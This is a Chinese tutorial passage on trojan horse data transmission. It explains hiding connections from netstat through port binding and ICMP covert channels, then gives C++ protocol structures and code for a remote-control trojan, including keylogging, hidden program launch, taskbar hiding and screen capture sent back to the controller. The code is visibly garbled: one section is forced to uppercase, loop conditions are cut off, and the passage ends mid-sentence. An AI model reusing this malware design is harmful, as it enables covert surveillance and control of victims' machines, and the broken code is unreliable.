木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常 是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但 是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令 行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。 C:\Documents and Settings\bigball>netstat -n Active Connections Proto Local Address Foreign Address State TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT C:\Documents and Settings\bigball>netstat -a Active Connections Proto Local Address Foreign Address State TCP Liumy:echo Liumy:0 LISTENING TCP Liumy:discard Liumy:0 LISTENING TCP Liumy:daytime Liumy:0 LISTENING TCP Liumy:qotd Liumy:0 LISTENING TCP Liumy:chargen Liumy:0 LISTENING TCP Liumy:epmap Liumy:0 LISTENING TCP Liumy:microsoft-ds Liumy:0 LISTENING TCP Liumy:1025 Liumy:0 LISTENING TCP Liumy:1026 Liumy:0 LISTENING TCP Liumy:1031 Liumy:0 LISTENING TCP Liumy:1032 Liumy:0 LISTENING TCP Liumy:1112 Liumy:0 LISTENING TCP Liumy:1135 Liumy:0 LISTENING TCP Liumy:1142 Liumy:0 LISTENING TCP Liumy:1801 Liumy:0 LISTENING TCP Liumy:3372 Liumy:0 LISTENING TCP Liumy:3389 Liumy:0 LISTENING TCP Liumy:netbios-ssn Liumy:0 LISTENING TCP Liumy:1028 Liumy:0 LISTENING TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI TCP Liumy:1135 202.130.239.223:http ESTABLISHED TCP Liumy:1142 202.130.239.223:http ESTABLISHED TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT TCP Liumy:1170 202.130.239.133:http TIME_WAIT TCP Liumy:2103 Liumy:0 LISTENING TCP Liumy:2105 Liumy:0 LISTENING TCP Liumy:2107 Liumy:0 LISTENING UDP Liumy:echo *:* UDP Liumy:discard *:* UDP Liumy:daytime *:* UDP Liumy:qotd *:* UDP Liumy:chargen *:* UDP Liumy:epmap *:* UDP Liumy:snmp *:* UDP Liumy:microsoft-ds *:* UDP Liumy:1027 *:* UDP Liumy:1029 *:* UDP Liumy:3527 *:* UDP Liumy:4000 *:* UDP Liumy:4001 *:* UDP Liumy:1033 *:* UDP Liumy:1148 *:* UDP Liumy:netbios-ns *:* UDP Liumy:netbios-dgm *:* UDP Liumy:isakmp *:* 但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并 端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起 来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马 端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而 达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol) 协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很 多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙, 从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网 络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示: 5、发送数据的组织方法 关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性, 以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木 马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包 装一些协议: typedef struct{ //定义消息结构 //char ip[20]; char Type; //消息种类 char Password[20]; //密码 int CNum; //消息操作号 //int Length; //消息长度 }Msg; #define MsgLen sizeof(Msg) //------------------------------------------- //对话框数据包定义:Dlg_Msg_Type.h //------------------------------------------- //定义如下消息类型: #define MsgDlgCommon 4//连接事件 #define MsgDlgSend 5//发送完成事件 //消息结构 typedef struct{ char Name[20];//对话框标题 char Msg[256];//对话框消息内容 }MsgDlgUint; #define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度 //------------------------------------------ //聊天数据包定义:Chat_Msg_Type.h //------------------------------------------ //定义如下消息类型: #define MsgChatCommon 0//连接事件 #define MsgChatConnect 1//接入事件 #define MsgChatEscept 2//结束事件 #define MsgChatReceived 16//确认对话内容收到 //消息结构 typedef struct{ char ClientName[20];//Client自定义的名称 char Msg[256];//发送的消息 }MsgChatUint; #define MsgChatLen sizeof(MsgChatUint)//消息单元长度 //------------------------------------------ //重启数据包定义:Reboot_Msg_Type.h //------------------------------------------ //定义如下消息类型: #define MsgReBoot 15//重启事件 //------------------------------------------ //目录结构请求数据包定义:Dir_Msg_Type.h //------------------------------------------ //定义如下消息类型: #define MsgGetDirInfo 17 #define MsgReceiveGetDirInfo 18 typedef struct{ char Dir[4096];//你要的目录名 }MsgDirUint; #define MsgDirUintLen sizeof(MsgDirUint) // TCP的Msg typedef struct{ //定义消息结构 char SType; //消息种类 char SPassword[20]; //密码 //int SNum; //消息操作号 char *AllMsg; }SMsg; #define SMsgLen sizeof(SMsg) #define MSGListProgram 19 #define MSGFlyMouse 21 #define MSGGoWithMouse 22 #define MSGSaveKey 23 #define MSGTracekey 24 #define MsgCopyScreen 25//tcp接收消息,udp请求消息 #define MSGCopyWindow 26 //------------------------- //鼠标指针隐藏和显示控制 //------------------------- #define MsgSetMouseStat 27//设置消息 #define MsgMouseStat 28//成功消息 typedef struct{ bool mouseshow; }MsgSetMouseStatUint; #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint) //------------------------- //任务栏隐藏和显示控制 //------------------------- #define MsgSetTaskBarStat 29//设置消息 #define MsgTaskBarStat 30//成功消息 typedef struct{ bool taskshow; }MsgSetTaskBarStatUint; #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint) //------------------------- //得到机器名 //------------------------- #define MsgGetNetBiosName 31//取请求 #define MsgNetBiosName 32//回送机器名 typedef struct{ char NetBiosName[128]; }MsgNetBiosNameUint; #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint) //------------------------- //关闭进程变更! //------------------------- #define MsgSetProgramClose 33//关闭请求 #define MsgProgramClosed 34//成功消息----- typedef struct{ char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字 }MsgSetProgramCloseUint; #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint) //------------------------- //打开进程变更! //------------------------- #define MsgSetProgramOpen 20//打开请求 #define MsgProgramOpened 36//成功消息 typedef struct{ char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序 的名字 bool ProgramShow;//前台运行或后台运行程序(隐藏运行) }MsgSetProgramOpenUint; #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint) #define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息) 上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗 的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的 密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它 的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一 办法来校验消息的。 数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为 一个VOID类型的数据流,然后发送: Msg *msg=new Msg; TMemoryStream *RData=new TMemoryStream; NMUDP1->ReadStream(RData); RData->Read(msg,sizeof(Msg)); UdpConnect *udpconnect=new UdpConnect; NetBiosName *netbiosname=new NetBiosName; if(msg->CNum==CNumBak) return; else{ CNumBak=msg->CNum; switch(msg->Type) { case 0://MsgUdpConnect RData->Read(udpconnect,sizeof(UdpConnect)); checkuser(udpconnect->IsRight); break; case 1: RData->Read(netbiosname,sizeof(NetBiosName)); AnsiString jqm="机器名 "; jqm+=(AnsiString)netbiosname->NetBiosName; Memo2->Lines->Add(jqm); break; } } 当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给 出事例代码: NMUDP1->RemoteHost=FromIP; NMUDP1->RemotePort=Port; TMemoryStream *RData=new TMemoryStream; NMUDP1->ReadStream(RData); Msg *msg=new Msg; RData->Read(msg,sizeof(Msg)); if(msg->CNum==CNumBak) return; else { CNumBak=msg->CNum; switch(msg->Type) { case 0: checkuser(msg->Password); break; case 1: GetNetBiosName(); break; case 2: CheckHard(); break; } } 此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回 传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变 部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例: #define MAXXCount 10 //屏幕X方向最多分割块数 #define MAXYCount 5 //... Y................ #define DestNum 1000 //每块的偏移检测点最大个数 COLORREF Colors[MAXXCount][MAXYCount][DestNum]; COLORREF BakColors[MAXXCount]{MAXYCount][DestNum]; TPoint Dests[DestNum]; int Sw; int Sh; int xCount; int yCount; int ItemWidth; int ItemHeight; int Dnum; int Qlity; //得到消息后执行: //另外:接收到的数据包中分析出 Dnum ,Qlity //Dnum:偏移观测点数量 //Qlity:图象要求质量 __fastcall TForm1::CopyScreen(int DNum,int Qlity){ ItemWidth=Sw/xCount; ItemHeight=Sh/yCount; Sw=Screen->Width; Sh=Screen->Height; xCount=(Sw>1000)?8:6; yCount=(Sh>1000)?3:2; for (int num1=0;num1 Dests[num1].x=random(ItemWidth); Dests[num1].y=random(ItemHeight); } CatchScreen(DNum,Qlity); } //收到刷屏消息后只执行: CatchScreen(DNum,Qlity); __fastcall TForm1::CatchScreen(int DNum,int Qlity){ //函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据 //DNum: 偏移量 Qlity:图象质量 HDC dc=GetDC(GetDesktopWindow()); Graphics::TBitmap *bm=new Graphics::TBitmap; bm->Width=Sw; bm->Height=Sh; BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0); int num1,num2,num3; int nowx,nowy; bool Change; bool ItemChange[MAXXCount][MAXYCount]; for (num1=0;num1 nowx=ItemWidth*num1; for (num2=0;num2 nowy=ItemHeight*num2; Change=false; for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x] [nowy+Dests[num3].y]; if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){ BakColors[num1][num2][num3]=Colors[num1][num2][num3]; ItemChange[num1][num2]=true; } } } } int CNum,MaxCNum; int ChangedNum=0; TRect *Rect; int num4; int MinSize=10000; int m; TRect MinRect; Graphics::TBitmap *bt2=new Graphics::TBitmap; TJPEGImage *j=new TJPEGImage; //************************ j->Quality=Qlity; //************************ CopyScreenUint CopyScreen; CopyScreenItemUint CopyScreenItem; TMemoryStream *ms=new TMemo
RYSTREAM; MS->WRITE(&TCPMSG,SIZEOF(TCPMSGUINT)); MS->WRITE(©SCREEN,SIZEOF(COPYSCREENUINT)); DO{ FOR (NUM1=0;NUM1 FOR (NUM2=0;NUM2 FOR (NUM3=NUM1+1;NUM3<=XCOUNT;NUM3++){ MAXCNUM=0; FOR (NUM4=NUM2+1;NUM4<=YCOUNT;NUM4++){ //遍历所有矩形 CNUM=GETCHANGEDNUM(TRECT(NUM1,NUM2,NUM3,NUM4)); IF (CNUM>MAXCNUM) MAXCNUM=CNUM; M=(NUM3-NUM1)*(NUM4-NUM2); IF (2*M-CNUM MINSIZE=2*M-CNUM; MINRECT=TRECT(NUM1,NUM2,NUM3,NUM4); } } } TMEMORYSTREAM *MS; BITBLT(BT2->CANVAS->HANDLE,0,0,ITEMWIDTH-1,ITEMHEIGHT-1,BT->CANVAS->HANDLE,0,0); J->ASSIGN(BT2); J->SAVETOSTREAM(MS2); COPYSCREENITEM.RECT=TRECT(NUM1,NUM2,NUM3,NUM4); COPYSCREENITEM.FILETYPE=JPEGFILE; //JPEGFILE 定义为:#DEFINE JPEGFILE 1 MS2->POSITION=0; COPYSCREENITEM.LENGTH=MS2->SIZE; MS->WRITE(©SCREENITEM,SIZEOF(SCREENITEMUINT)); MS->COPYFROM(MS2,MS2->SIZE); CHANGEDNUM++; }WHILE(MAXCNUM>0); TCPMSG.TYPE=MSGCOPYSCREEN; MS->POSITION=0; TCPMSG.LENGTH=MS->SIZE-SIZEOF(TCPMSGUINT); COPYSCREEN.COUNT=CHANGEDNUM; MS->WRITE(&TCPMSG,SIZEOF(TCPMSGUINT)); MS->WRITE(©SCREEN,SIZEOF(COPYSCREENUINT)); MS->POSITION=0; SOCK->SENDSTREAM(MS); } 这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分 的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传 送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看